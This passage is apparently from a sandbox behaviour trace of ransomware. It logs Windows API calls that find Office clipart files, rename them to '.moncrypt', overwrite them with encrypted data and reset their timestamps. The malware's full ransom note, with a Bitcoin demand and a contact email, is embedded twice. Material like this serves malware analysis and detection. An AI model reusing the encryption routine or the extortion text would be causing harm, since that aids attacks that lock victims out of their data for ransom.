(hMem=0x440004) returned 0 [0059.583] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.583] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.583] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.583] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.584] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.584] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.584] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.584] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.584] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.584] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.584] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.584] CloseHandle (hObject=0x188) returned 1 [0059.584] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0059.584] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.584] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.584] GlobalLock (hMem=0x440004) returned 0x550170 [0059.584] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.584] GlobalUnlock (hMem=0x440004) returned 0 [0059.584] GlobalLock (hMem=0x440004) returned 0x550170 [0059.584] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.584] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.584] GlobalUnlock (hMem=0x440004) returned 0 [0059.585] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.585] GlobalUnlock (hMem=0x44000c) returned 0 [0059.585] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.585] CharLowerBuffW (in: lpsz="AN00914_.WMF", cchLength=0xc | out: lpsz="an00914_.wmf") returned 0xc [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.585] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.585] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN00914_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.586] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.586] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.586] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF", dwFileAttributes=0x20) returned 1 [0059.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.moncrypt")) returned 1 [0059.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.588] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.588] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x2a50 [0059.588] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.588] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x2a50, lpOverlapped=0x0) returned 1 [0059.590] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.590] GlobalLock (hMem=0x440004) returned 0x550170 [0059.590] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.590] GlobalUnlock (hMem=0x440004) returned 0 [0059.590] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.590] GlobalLock (hMem=0x440004) returned 0x55bb88 [0059.590] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.590] GlobalUnlock (hMem=0x44000c) returned 0 [0059.590] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0059.590] GlobalUnlock (hMem=0x440004) returned 0 [0059.591] GlobalLock (hMem=0x440004) returned 0x550170 [0059.591] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.591] GlobalUnlock (hMem=0x440004) returned 0 [0059.591] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0059.591] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.591] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.591] GlobalUnlock (hMem=0x440004) returned 0 [0059.591] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.591] WriteFile (in: hFile=0x188, lpBuffer=0x1dc8e68*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc8e68*, lpNumberOfBytesWritten=0x18ea30*=0x2a70, lpOverlapped=0x0) returned 1 [0059.591] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.591] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.605] WriteFile (in: hFile=0x188, lpBuffer=0x1dc8e88*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc8e88*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.605] CloseHandle (hObject=0x188) returned 1 [0059.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.606] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.607] CloseHandle (hObject=0x188) returned 1 [0059.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.607] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.607] GlobalLock (hMem=0x440004) returned 0x550170 [0059.607] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.608] GlobalUnlock (hMem=0x440004) returned 0 [0059.608] GlobalLock (hMem=0x440004) returned 0x550170 [0059.608] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.608] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.608] GlobalUnlock (hMem=0x440004) returned 0 [0059.608] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.608] GlobalUnlock (hMem=0x44000c) returned 0 [0059.608] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.608] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.608] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.608] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.609] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.609] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.609] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.609] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.609] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.609] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.609] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.609] CloseHandle (hObject=0x188) returned 1 [0059.610] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0059.610] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.610] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.617] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.617] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.617] GlobalUnlock (hMem=0x44000c) returned 0 [0059.617] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.617] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.617] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.617] GlobalUnlock (hMem=0x44000c) returned 0 [0059.617] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.617] GlobalUnlock (hMem=0x440004) returned 0 [0059.617] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.617] CharLowerBuffW (in: lpsz="AN00932_.WMF", cchLength=0xc | out: lpsz="an00932_.wmf") returned 0xc [0059.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.618] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.618] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 